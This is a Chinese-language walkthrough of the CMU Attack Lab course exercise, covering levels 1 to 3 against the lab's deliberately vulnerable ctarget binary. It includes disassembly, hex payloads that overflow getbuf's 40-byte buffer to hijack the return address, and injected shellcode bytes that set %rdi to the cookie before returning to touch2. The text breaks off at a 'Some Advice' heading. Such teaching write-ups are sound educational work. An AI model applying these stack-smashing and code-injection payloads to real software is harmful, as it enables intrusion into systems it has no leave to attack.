- A+
Attack Lab
一共六个文件
-
cookie.txt
一个8位16进制数,作为攻击的特殊标志符 -
farm.c
在ROP
攻击中作为gadgets的产生源 -
ctarget
代码注入攻击的目标文件 -
rtarget ROP
攻击的目标文件 -
hex2row
将16进制数转化为攻击字符,因为有些字符在屏幕上面无法输入,所以输入该字符的16进制数,自动转化为该字符
Level 1
对于第一阶段,我们并不需要进行代码注入,我们需要做的就是劫持程序流,将函数的正常返回地址给重写,将函数重定向到我们指定的特定函数。在这个阶段中,我们要重定向到touch1
函数。
首先利用objdump -d ctarget > ctarget_asm
得到ctarget
的汇编代码文件
0000000000401968 <test>: 401968: 48 83 ec 08 sub $0x8,%rsp ; 扩展栈空间 40196c: b8 00 00 00 00 mov $0x0,%eax 401971: e8 32 fe ff ff callq 4017a8 <getbuf> ; test函数中调用了getbuf 401976: 89 c2 mov %eax,%edx ; edx = eax 401978: be 88 31 40 00 mov $0x403188,%esi 40197d: bf 01 00 00 00 mov $0x1,%edi 401982: b8 00 00 00 00 mov $0x0,%eax 401987: e8 64 f4 ff ff callq 400df0 <__printf_chk@plt> ; 调用 printf 打印信息 40198c: 48 83 c4 08 add $0x8,%rsp 401990: c3 retq 401991: 90 nop 00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp ; 扩展栈空间40字节 分配了四十个字节的栈帧 4017ac: 48 89 e7 mov %rsp,%rdi ; rdi = rsp 4017af: e8 8c 02 00 00 callq 401a40 <Gets> ; 调用Gets函数 rdi为该函数的第一个参数 4017b4: b8 01 00 00 00 mov $0x1,%eax ; eax = 1 函数返回1 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 retq 4017be: 90 nop 4017bf: 90 nop 00000000004017c0 <touch1>: ; touch1的返回地址为0x4017c0 4017c0: 48 83 ec 08 sub $0x8,%rsp 4017c4: c7 05 0e 2d 20 00 01 movl $0x1,0x202d0e(%rip) # 6044dc <vlevel> 4017cb: 00 00 00 4017ce: bf c5 30 40 00 mov $0x4030c5,%edi 4017d3: e8 e8 f4 ff ff callq 400cc0 <puts@plt> 4017d8: bf 01 00 00 00 mov $0x1,%edi 4017dd: e8 ab 04 00 00 callq 401c8d <validate> 4017e2: bf 00 00 00 00 mov $0x0,%edi 4017e7: e8 54 f6 ff ff callq 400e40 <exit@plt>
touch1
的地址为0x4017c0
,这里我们选择将输入的数据写到ctarget1.txt
文件中,用hex2raw
来生成字节码,
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 先用垃圾数据覆盖40个字节的栈空间 c0 17 40 00 00 00 00 00 最后填入touch1的地址来覆盖getbuf()函数的返回地址 注意x86_64是小端序存储
执行命令./hex2raw < ctarget1.txt | ./ctarget -q
./hex2raw < ctarget01.txt
是利用hex2raw
工具将我们的输入看作字节级的十六进制表示进行转化,用来生成攻击字符串|
表示管道,将转化后的输入文件作为ctarget
的输入参数- 由于执行程序会默认连接
CMU
的服务器,-q
表示取消这一连接
可以看到第一关就通过了:
Level 2
第二阶段,我们需要做的就是在输入字符串中注入一小段代码。其实整体的流程还是getbuf
中输入字符,然后拦截程序流,跳转到调用touch2
函数。首先,我们先查看一遍touch2
函数所做事情:level2
需要调用的touch2
函数有一个unsighed
型的参数,而这个参数就是lab提供的cookie。所以,这次我们在ret
到touch2
之前,需要先把cookie放在寄存器%rdi
中(第一个参数通过%rdi
传递)。
00000000004017ec <touch2>: 4017ec: 48 83 ec 08 sub $0x8,%rsp 4017f0: 89 fa mov %edi,%edx 4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel> 4017f9: 00 00 00 4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie> 401802: 75 20 jne 401824 <touch2+0x38> 401804: be e8 30 40 00 mov $0x4030e8,%esi 401809: bf 01 00 00 00 mov $0x1,%edi 40180e: b8 00 00 00 00 mov $0x0,%eax 401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt> 401818: bf 02 00 00 00 mov $0x2,%edi 40181d: e8 6b 04 00 00 callq 401c8d <validate> 401822: eb 1e jmp 401842 <touch2+0x56> 401824: be 10 31 40 00 mov $0x403110,%esi 401829: bf 01 00 00 00 mov $0x1,%edi 40182e: b8 00 00 00 00 mov $0x0,%eax 401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt> 401838: bf 02 00 00 00 mov $0x2,%edi 40183d: e8 0d 05 00 00 callq 401d4f <fail> 401842: bf 00 00 00 00 mov $0x0,%edi 401847: e8 f4 f5 ff ff callq 400e40 <exit@plt> void touch2(unsigned val){ vlevel = 2; if (val == cookie){ printf("Touch2!: You called touch2(0x%.8x)n", val); validate(2); } else { printf("Misfire: You called touch2(0x%.8x)n", val); fail(2); } exit(0); }
- 将正常的返回地址设置为你注入代码的地址,本次注入直接在栈顶注入,所以即返回地址设置为
%rsp
的地址 - 将
cookie
值移入到%rdi
,%rdi
是函数调用的第一个参数 - 获取
touch2
的起始地址 - 想要调用
touch2
,而又不能直接使用call
,jmp
等指令,所以只能使用ret
改变当前指令寄存器的指向地址。ret
是从栈上弹出返回地址,所以在此之前必须先将touch2
的地址压栈
注意此程序gdb
的使用,不能直接gdb ctarget
,需要先输入gdb
,然后利用file ctarget
打开对应的文件,或者gdb ctarget
,然后下断点b getbuf
,然后输入run -q
首先将我们要注入的指令写在level2_exp.s
中,0x59b997fa
就是cookie.txt
中的值
movq $0x59b997fa, %rdi pushq $0x4017ec ret
然后将.s
文件转换成计算机可执行的指令系列gcc -c level2_exp.s
,查看level2_exp.o
文件的反汇编
level2_exp.o: file format elf64-x86-64 Disassembly of section .text: 0000000000000000 <.text>: 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi 7: 68 ec 17 40 00 pushq $0x4017ec push指令先sub 8, %rsp 然后 movq $0x4017ec, %rsp c: c3 retq ret指令 pop %eip,此时rsp存储的就是touch2的地址,就跳转到了touch2
将对应的机器指令写在level2_exp.txt
中,这里解释一下,push
指令后跟寄存器,表示将寄存区的值存储到rsp
指向的内存单元中,push imm
表示将立即数存放到rsp
中而不是它所指的内存单元。
push 1 相当于
mov
M[esp], 1 sub esp, 4 pushebp
相当于mov
M[esp],ebp
sub esp, 4
callfunc
相当于 push0x40117e
(eip
+硬编码长度) push指令又会将esp - 4
然后我们需要获取%rsp
的地址,为什么要获取%rsp
呢,因为此关我们是通过向栈中写入我们注入指令的指令序列,在栈的开始位置为注入代码的指令序列,然后填充满至40个字节,在接下来的8个字节,也就是原来的返回地址,填充成注入代码的起始地址,也就是%rsp
的地址,整个流程就是: getbuf => ret => 0x5561dc78 => mov $0x59b997fa, %rdi => ret => 0x4017ec
。
rsp
保存的是test
栈帧的返回地址,上面是高地址所以我们要注入的指令如下,注意小端序,
48 c7 c7 fa 97 b9 59 68 ec 17 40 00 c3 00 00 00 00 00 00 00 前面的字节时我们注入的 之后用垃圾数据填充栈中剩余的字节 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40字节 4 * 10 78 dc 61 55 00 00 00 00 00 00 0x5561dc78 即为我们要返回的我们注入的字节的地址 即执行 sub rsp,0x28后的结果
最后执行./hex2raw < level2_exp.txt | ./ctarget -q
即可通过level2
Level 3
00000000004018fa <touch3>: 4018fa: 53 push %rbx 4018fb: 48 89 fb mov %rdi,%rbx 4018fe: c7 05 d4 2b 20 00 03 movl $0x3,0x202bd4(%rip) # 6044dc <vlevel> 401905: 00 00 00 401908: 48 89 fe mov %rdi,%rsi 40190b: 8b 3d d3 2b 20 00 mov 0x202bd3(%rip),%edi # 6044e4 <cookie> 401911: e8 36 ff ff ff callq 40184c <hexmatch> # 调用了 hexmatch 401916: 85 c0 test %eax,%eax 401918: 74 23 je 40193d <touch3+0x43> # 如果不匹配的话 跳转到 0x40193d 40191a: 48 89 da mov %rbx,%rdx 40191d: be 38 31 40 00 mov $0x403138,%esi 401922: bf 01 00 00 00 mov $0x1,%edi 401927: b8 00 00 00 00 mov $0x0,%eax 40192c: e8 bf f4 ff ff callq 400df0 <__printf_chk@plt> 401931: bf 03 00 00 00 mov $0x3,%edi 401936: e8 52 03 00 00 callq 401c8d <validate> 40193b: eb 21 jmp 40195e <touch3+0x64> 40193d: 48 89 da mov %rbx,%rdx 401940: be 60 31 40 00 mov $0x403160,%esi 401945: bf 01 00 00 00 mov $0x1,%edi 40194a: b8 00 00 00 00 mov $0x0,%eax 40194f: e8 9c f4 ff ff callq 400df0 <__printf_chk@plt> 401954: bf 03 00 00 00 mov $0x3,%edi 401959: e8 f1 03 00 00 callq 401d4f <fail> 40195e: bf 00 00 00 00 mov $0x0,%edi 401963: e8 d8 f4 ff ff callq 400e40 <exit@plt> void touch3(char *sval){ vlevel = 3; if (hexmatch(cookie, sval)){ printf("Touch3!: You called touch3("%s")n", sval); validate(3); } else { printf("Misfire: You called touch3("%s")n", sval); fail(3); } exit(0); } 000000000040184c <hexmatch>: 40184c: 41 54 push %r12 40184e: 55 push %rbp 40184f: 53 push %rbx 401850: 48 83 c4 80 add $0xffffffffffffff80,%rsp # 其实是-0x80的补码 相当于开辟了128字节空间 401854: 41 89 fc mov %edi,%r12d 401857: 48 89 f5 mov %rsi,%rbp 40185a: 64 48 8b 04 25 28 00 mov %fs:0x28,%rax 401861: 00 00 401863: 48 89 44 24 78 mov %rax,0x78(%rsp) 401868: 31 c0 xor %eax,%eax 40186a: e8 41 f5 ff ff callq 400db0 <random@plt> 40186f: 48 89 c1 mov %rax,%rcx 401872: 48 ba 0b d7 a3 70 3d movabs $0xa3d70a3d70a3d70b,%rdx 401879: 0a d7 a3 40187c: 48 f7 ea imul %rdx 40187f: 48 01 ca add %rcx,%rdx 401882: 48 c1 fa 06 sar $0x6,%rdx 401886: 48 89 c8 mov %rcx,%rax 401889: 48 c1 f8 3f sar $0x3f,%rax 40188d: 48 29 c2 sub %rax,%rdx 401890: 48 8d 04 92 lea (%rdx,%rdx,4),%rax 401894: 48 8d 04 80 lea (%rax,%rax,4),%rax 401898: 48 c1 e0 02 shl $0x2,%rax 40189c: 48 29 c1 sub %rax,%rcx 40189f: 48 8d 1c 0c lea (%rsp,%rcx,1),%rbx 4018a3: 45 89 e0 mov %r12d,%r8d 4018a6: b9 e2 30 40 00 mov $0x4030e2,%ecx 4018ab: 48 c7 c2 ff ff ff ff mov $0xffffffffffffffff,%rdx 4018b2: be 01 00 00 00 mov $0x1,%esi 4018b7: 48 89 df mov %rbx,%rdi 4018ba: b8 00 00 00 00 mov $0x0,%eax 4018bf: e8 ac f5 ff ff callq 400e70 <__sprintf_chk@plt> 4018c4: ba 09 00 00 00 mov $0x9,%edx 4018c9: 48 89 de mov %rbx,%rsi 4018cc: 48 89 ef mov %rbp,%rdi 4018cf: e8 cc f3 ff ff callq 400ca0 <strncmp@plt> # 调用 strncmp 函数比较字符串 4018d4: 85 c0 test %eax,%eax 4018d6: 0f 94 c0 sete %al 4018d9: 0f b6 c0 movzbl %al,%eax 4018dc: 48 8b 74 24 78 mov 0x78(%rsp),%rsi 4018e1: 64 48 33 34 25 28 00 xor %fs:0x28,%rsi 4018e8: 00 00 4018ea: 74 05 je 4018f1 <hexmatch+0xa5> 4018ec: e8 ef f3 ff ff callq 400ce0 <__stack_chk_fail@plt> 4018f1: 48 83 ec 80 sub $0xffffffffffffff80,%rsp # 这里相当于将 rsp减去了一个数 4018f5: 5b pop %rbx 4018f6: 5d pop %rbp 4018f7: 41 5c pop %r12 4018f9: c3 retq int hexmatch(unsigned val, char *sval){ char cbuf[110]; // char *s = cbuf + random() % 100; // 这句代码说明了 s 的位置是随机的 所以我们不应该把我们输入的shellcode放在hexmatch的栈帧中,应该将其放在父栈帧中,也就是test栈帧 sprintf(s, "%.8x", val); return strncmp(sval, s, 9) == 0; }
和Level 2 一样touch3
也需要传入cookie
但是要求以字符串的形式传入。和Level 2的区别是touch3
的参数是cookie
的字符串地址, 寄存器%rdi
存储cookie
字符串的地址。所以我们还需要将Cookie
的内容存到指定的内存地址,字符串存到内存中都是以ASCII码形式存储的,所以需要将Cookie的值0x59b997fa
转为ASCII
Some Advice
-
在C语言中字符串是以